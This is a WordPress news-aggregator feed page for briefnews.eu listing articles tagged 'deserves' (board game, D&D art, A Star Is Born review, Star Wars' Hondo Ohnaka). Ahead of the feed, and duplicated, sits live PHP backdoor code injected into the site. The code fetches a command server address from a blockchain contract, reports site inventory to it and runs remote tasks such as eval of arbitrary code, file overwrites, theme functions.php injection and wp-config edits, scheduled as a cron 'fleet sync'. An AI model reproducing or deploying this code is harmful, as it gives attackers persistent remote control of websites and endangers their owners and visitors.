// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); deserves – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 09 Mar 2019 16:22:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png deserves – Brief News https://briefnews.eu 32 32 Quacks of Quedlinburg deserves its “Board Game of the Year” win https://briefnews.eu/quacks-of-quedlinburg-deserves-its-board-game-of-the-year-win/ https://briefnews.eu/quacks-of-quedlinburg-deserves-its-board-game-of-the-year-win/#respond Sat, 09 Mar 2019 16:22:12 +0000 http://briefnews.eu/quacks-of-quedlinburg-deserves-its-board-game-of-the-year-win/
Let's brew some potions!

Enlarge / Let’s brew some potions!

Welcome to Ars Cardboard, our weekend look at tabletop games! Check out our complete board gaming coverage at cardboard.arstechnica.com.

Who knew that being a snake-oil salesman was so much fun?

Last summer, the board game Die Quacksalber von Quedlinburg won a major award from the German press, and buzz was big on both sides of the Atlantic. Now out in English as The Quacks of Quedlinburg from North Star Games, we’ve finally had a chance to put this bag-building, press-your-luck game through its potion-making paces.

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]]> https://briefnews.eu/quacks-of-quedlinburg-deserves-its-board-game-of-the-year-win/feed/ 0 Dungeons & Dragons Art Is Finally Getting the Respect It Deserves https://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/ https://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/#respond Sun, 21 Oct 2018 08:01:36 +0000 http://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/ It’s no longer just valued in game stores and comics shops.


https://media.wired.com/photos/5bca726dd3df88531b9fb797/master/pass/D&D-503286532.jpg

]]> https://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/feed/ 0 REVIEW: A Star Is Born is NOT a chick-flick – Bradley Cooper deserves an Oscar https://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/ https://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/#respond Fri, 05 Oct 2018 03:16:41 +0000 http://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/

Let me be clear none of this in any way detracts from Lady Gaga’s fine, powerful performance as Ally.

The film is told through her eyes but its heart – and hers – lie with Bradley Cooper’s beautifully, brutally broken country and blues star Jackson Maine. 

Cooper not only plays the tragic eading man, he also directed, and co-wrote some of the original songs, including my personal favourite, the wonderful Maybe It’s Time.

This is a movie about a good man who has made some bad choices based on a terrible childhood and punishing life in the spotlight. It is raw, real and will rip your heart out at the end.

Related articles

The film follows the established path of an aspiring and talented young singer, Gaga’s Ally, who nobody believes in, least of all herself.

A chance meeting with the jaded and fading country superstar, Cooper’s Jackson Maine, propels her to stardom – but as one rises, another inexorably falls.

What has always set this tale apart is that it is not the predictable story of the powerful svengali mentor and opportunistic newcomer. Here, both bring out the best in each other, both find something they desperately need and thought they would never find – and both love equally, desperately and with matching passion.

The chemistry between Cooper and Gaga is palpable, powerful, exhilarating and almost painfully convincing. Cooper directs their early scenes with a great eye for their insecurities and hopes, longing and fears.

A Star Is Born Bradley Cooper

A Star Is Born: Bradley Cooper (Image: FS )

A Star Is Born Bradley Cooper and Lady Gaga

A Star Is Born Bradley Cooper and Lady Gaga (Image: FS )

The scene where Maine fixates on Ally’s nose, the thing she feels has always held her back, and turns it into the focus of his desire and adoration, is both extraordinarily touching and erotic.

Their first scenes together on stage are electric. Gaga’s vocal majesty is well known but Cooper is far better than his frequent protestations to the contrary. His voice carries warmth and pain, country rain and blues thunder.

In fact, their vocals echo their performances. Gaga is guts and glory, showstopping and supreme, beautifully modulated. 

She is fearless when stripped of her trademark make-up and flamboyant costumes. She has a natural presence and perfectly capture’s Ally’s longing to be seen and valued, while wary of leaving herself even more vulnerable.

A Star Is Born Bradley Cooper and Lady Gaga

A Star Is Born Bradley Cooper and Lady Gaga (Image: FS )

Cooper, for me, is the real treat. Less showy, less spectacular but quietly emotional, raw and imperfect. His pain is the heart of this film. It reminded me of La La Land where nothing Emma Stone did would have been possible without Ryan Gosling’s selfless artistry.

Maine’s alcoholic father drove him to attempt suicide at 13. Tinnitus is drowning out his hearing, stealing his talent as he seeks oblivion in pills and liquor, repeating the sins of father. Suddenly Ally offers a shot at redemption, at love.

For the first time he has a home. For the first time he has something to lose. For the first time he wants to be a better man, live a better life. It is the purity of this which underpins the final punch.

As the tragedy plays out its unbearable heartache there is strong support from Sam Elliott as Maine’s much older brother, another man with broken dreams but less demons.

WATCH EXPRESS ONLINE TALK TO LADY GAGA NEXT:

In fact, rather than a girls’ journey to stardom, this is a film about damaged men, all seeking to be better but held back by their own feet of clay.

Ally’s limo-driver father had dreams of singing stardom and “could have been bigger than Sinatra.” He is fiercely proud of his daughter but almost cripples her with his own fears and regrets.

Jackson, instead, battles his father and himself until he at last finds his redemption and his future in Ally. The agonising realisation that she may be better off without him is his final test. It is unbearably cruel and unbearably real and most of us would probably fail it. It is the greatest display of love and the greatest tragedy and Cooper delievers ever moment in mesmerising and magnificent style.

A STAR IS BORN IS OUT NOW.

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]]> https://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/feed/ 0 Why the ‘Star Wars’ Pirate Hondo Ohnaka Deserves the Attention of Fans and Lucasfilm https://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/ https://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/#respond Fri, 21 Sep 2018 21:07:02 +0000 http://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/ Star Wars - Hondo Ohnaka

(Welcome to A Different Point of View, a column where we explore the supporting characters of the Star Wars universe and discuss why they deserve more time in the spotlight.)

Earlier this week it was “International Talk Like A Pirate Day,” so, I figured, in honor of the Internet holiday we’d look at the most infamous pirate in Star Wars: Hondo Ohnaka. If you have no idea who that is, don’t worry. He’s a slightly deeper cut than previous entries of this column. Hondo isn’t even on the first page of Google results for “Hondo,” so ignorance of his existence is understandable. But now? Now that ignorance ends.

Who Is Hondo Ohnaka?

Absolutely the first thing you need to know about Hondo Ohnaka is that he is voice by Jim Cummings. That name is familiar because he’s the voice of Winnie the Pooh. So you just need to have that knowledge in your head for what comes next.

Hondo is a male Weequay, a humanoid species native to the enslaved Hutt planet of Sriluur. A desert wasteland, Weequay’s skin is tough enough to make them resistant to blasters. Coupled with the realities of how society would function on such a hostile planet, Weequay are oftentimes found as bodyguards, mercenaries…or pirates.

Little is known about Hondo’s early life. By the time audiences are introduced to him, Hondo is a full-fledged pirate king. He even has his own planet, Florrum. From this base of operation, Hondo’s “Ohnaka Gang” empire stretched throughout Hutt space. Charming and ruthless, Hondo mostly comes across as a fun uncle stereotype; a sort of ‘Aw shucks, me?’ attitude that belies a calculating mind. This is a man who once captured not one, but two Jedi and a Sith and effectively held them hostage, despite not being Force-sensitive himself. Honorable by his own code, Hondo is as good as his word, and leans more towards Chaotic Good than he’d like to admit.

When Was He Introduced?

Hondo first appeared in the Star Wars lexicon on January 2, 2009. Star Wars: The Clone Wars aired the episode “Dooku Captured,” the first of a two-part arc that gave Hondo much to do straight out of the gate. In his inaugural run, Hondo manages to disarm and capture Count Dooku, ransom him for one million credits’ worth of drugs, convinced the Republic to send the Jedi to negotiate, double crosses the Jedi, drugs and captures them, fends off three escape attempts by his prisoners, and is only thwarted by a double-crossing underling who wanted all the drugs for himself.

Yes, this was a children’s show, why do you ask?

Hondo OStar Wars - Hondo Ohnakahnaka

Why He’s Fascinating

Hondo is the Star Wars version of the Most Interesting Man In The World™. His entire existence sounds exhausting and amazing at the same time. Hondo has been in a relationship with Auura Sing, with one of the most dangerous bounty hunters in the galaxy, was friends with Jango Fett, was crucial to Boba Fett’s formative years, and owned the Slave I for a while. He has escaped Imperial prison, created and maintained the respect of a planet-wide pirate gang, survived the downfall of said planet-wide pirate gang, and stolen the personal smuggling ship of a Crime Lord.

On the flip side, Hondo has a soft spot for children. Anytime Hondo deals with kids, it’s like watching Gordon Ramsey talk to to children: unsettling but sweet. Somewhere in his past, Hondo learned to speak fluent Ugnaught and has an affection for the small humanoid boar-like species. After the collapse of “Ohnaka’s Gang,” Hondo took on Ugnaughts as his crew and considers them his family. Despite being a self-serving, avaricious pirate, Hondo never sides with the Imperials in any era. For a character that has only been in seventeen episodes across two series — The Clone Wars and Star Wars Rebels — Hondo has live a very full, complex narrative. Basically, he’s is the perfect blend of amoral and ethical that audiences love in an anti-hero.

